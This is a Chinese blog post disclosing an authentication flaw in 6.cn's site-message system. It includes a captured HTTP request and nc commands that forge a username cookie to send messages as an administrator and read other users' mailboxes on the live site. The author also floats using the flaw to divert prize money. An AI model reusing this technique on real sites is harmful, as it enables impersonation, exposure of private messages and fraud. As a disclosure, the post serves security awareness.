« 微软密码风暴答案 (全)8月13号,水滴 »

六间房的裂缝

 


引子
世界上没有无缘无故的恨,也没有无缘无故的爱。这句话推而广之,世界上没有无缘无故的漏洞检测——或许是因为对方的名号,或许是因为对方的软件版本,或许是你的一次随机扫描,但就在这随机中也包含了某种必然:那个对象一定是暗合了你的某些扫描规则,才被选中的。而我对六间房的检测,则缘起于他们承办的一个“长城精灵拼图”的游戏。想了解具体恩怨的同志可以访问 http://www.seeknot.com/6windows/Sort.asp?SortID=9,我就不再这里骗稿费了。总而言之,就是我在这个活动中受到了极大的不公平。她们承认了错误,却拒绝纠正错误,直到最后杳无音信。我跟他们联系的重要段之一,就是站内信。我幻想某天打开站内信,看到他们迟到的回复……

站内信的身份认证漏洞
对待幻想,可以有两种态度。一种是任其幻灭,一种是主动实现。后者正是hacker精神的精髓所在。要想实现我上述的情景,就必须找到六间房可能存在的身份验证方面的漏洞,或者干脆找到管理员的密码。虽然我的懒散一直在找借口:“这么大的网站会存在这么重大的漏洞吗?” 但是我的习惯还是让我打开了WSockExpert,同时耳边响起天下无贼里黎叔的台词:我想试试。
首先,我用wolfengster这个id向我新注册的6windows的id发送了一条站内信,标题是test,内容是 test by wolfeng,用WSockExpert监听的详细数据包如下:

POST /user/post_msg.php HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: http://6.cn/user/send_msg.php
If-Modified-Since: 0
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; Alexa Toolbar)
Host: 6.cn
Content-Length: 77
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: rm6_stat_sck=122.70.135.85_1205583096_0.52587531341497740.6816261645214632; rm6_stat_bck=0.377256528217933540.3557539825732812; _6user=12230751|wolfengster; json=%7B%22apple%22%3A%22comeback%22%2C%22curUrl%22%3A%22http%3A%2F%2F6.cn%2Fuser%2Fsend_msg.php%22%2C%22time%22%3A1205553950%2C%22msg%22%3A%22%22%7D; rw=96278v4008224v3969468v3970421v4010704v2297776v4010735v4010764v4020404v4033158v4028042v3977857v4015893v4015923v4031126v4036427v4035272v4010791v4010817v4010834v4051503v4051254v4046872v4045794v4018545v4054653v4051125v4054376v4008567v4039441v4032696v4059548v4049965v4055339v4061261v3575168v4055988v4055331v4062382v4048263v4063648v4063636v4062428v4062451v4062466v3642495v4043180v3968422v3968587v3968609v3691562v4072053v4074059v4072898v4073111v4073144v4081787v4081810v4081831v4083530v4054557v4054585v4054627v4054652v4054676v4054697v4054722v4054764v4054786v4080676v3520493v4102055v4095090v4108679v125617v93544v4108376v4108414v4108458v4108500v779457v924039v4090293v4093268v4119272v4072514v903644v513427v899481v4118947v559988v557185v557148v4156719v4181577v4189323v4253590v4243759v4247103v2857575; qlw=154275%231%7C154126%235%7C154723%230%7C112266%230%7C154805%230%7C154936%230%7C154885%230%7C154951%230%7C154850%2310%7C155950%233%7C154270%230%7C155564%230%7C155615%230%7C83515%234%7C133948%230; rm6_stat_sck=122.70.135.88_1205582656_0.35136091187971440.30736750220550557; _info=0|4|http%3A%2F%2Fi.6.cn%2F87%2F42%2Fa8fb219a6d.jpg|0|0|1205554298|1|3|%E5%9D%90%E6%B2%99%E5%8F%91%E7%9A%84; username=wolfengster; encpass=30d3ea1ca8c1acs8a2996e390f6334e2

action=post_msg&title=test&content=test%20by%20wolfeng&pvid=0&name[]=6windows

这个数据包中涉及身份描述的有两个地方。一个是 _6user=12230751|wolfengster ,一个是username=wolfengster; encpass=30d3ea1ca8c1acs8a2996e390f6334e2(不要试图破解这个md5值,是我杜撰的,呵呵)。我理想中的状况是,程序用username和encpass来确认是否登录,是否有发送站内信的权限,而把_6user的参数作为发件人提交——这不是痴人说梦,因为在我的检测经验中,某个大型硬件门户就曾经存在这样的问题。_6user中,“|”前面的参数是用户在数据库中的自动编号,后面是用户名。这两个参数我们可以通过六间房的用户查找功能来轻松找到。
我将_6user的参数替换为六间房的一个管理员的信息。然后把数据包保存为文本文件6room.txt,然后使用nc提交:
Nc –vv 6.cn 80 <6room.txt
提交成功后,我用6windows的身份登录,检查站内信,发现两封名为test的站内信都是以wolfengster的身份发送的。
看来我的假设失败,也就是说程序是通过 username这个参数来确认发件人的,但是通常情况下username应该跟encpass联合使用。如果单单修改username的值,应该是不行的。除非那个程序员太大意了。大意的在如此需要身份验证的地方跳过了验证。怀揣着百分之一的希望,我把username后面的用户名替换成了那个管理员。再次提交。
奇迹总是不期而至,我刷新了6windows的收件箱后,最后一封的发件人赫然成了那个管理员的id:


更有意思的是在站内信的上方还有如下的一段话:

在这里接收和发送站内消息(最近发现有不法分子假冒六间房名义,进行所谓“中奖”诈骗活动骗取用户钱财,情节十分恶劣,请广大用户提高警惕,谨防受骗!不要轻易泄漏您的联系方式。如发现可疑信息可向 管理员举报或咨询)

设想如果有人用我描述的漏洞,用管理员的身份来发送“中奖”信息的话,会有多少人受骗,而普通用户又如何来分辨呢?这段程序真是太不负责了!
突然想起一件事情,我既然是以那个管理员的身份发的信,那么那个管理员的发件箱里岂不是也躺着这样一封东东——我们可以告知对方漏洞所在,但却耻于被人主动发现了踪迹。
把刚才那个文本修改一下,把 “POST /user/post_msg.php”替换成发件箱的地址“GET /user/outbox.php?type=2”,还有就是要去掉“Accept-Encoding: gzip, deflate
”这行,要不然返回的都是乱码。修改完毕,再次用nc 提交:
Nc –vv 6.cn 80<6room.txt>outbox.txt
命令执行完毕,在nc所在目录下,生成了outbox.txt。打开一看,果然那封“test”邮件很扎眼。不过把心放宽,这个站内信系统中应该普遍存在身份认证的漏洞,我们可以通过类似的方法把这封信删掉。通过同样的方法我们可以查看任意一个用户的收件箱、发件箱。可以删除,查看任意一个用户的信件。可以以任意一个用户的身份发送站内信。步骤重复,不在赘述。

总结
抛开我跟六间房的恩怨,这个漏洞也很值得批评。它可能直接导致用户信息和用户信件的泄漏。可以被人利用来进行“中奖”信息的欺骗。我甚至在那个管理员的收件箱中看到了一封标志为“未读”的某个获的“上传王”奖励的用户的详细信息回复,其中包括支付宝账户等敏感信息。我们假设,如果我删除掉这封“未读”的信件,然后再伪造一封,把帐号的信息修改为我的信息。那么,六间房岂不是要把奖金打到我的帐号里了!

鉴于问题的严重,虽然六间房给我以不公,我还是在投稿之前,将漏洞提交给了六间房的负责人。而撰写此文的目的则是希望六间房的程序员们以此为戒,完善程序。六间房的用户,以此为鉴,维护好自己的隐私。

 

  • 相关文章:

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

日历

最新评论及回复

最近发表

Powered By Z-Blog 1.8 Spirit Build 80722 Code detection by Codefense

Copyright seeknot.com. Some Rights Reserved.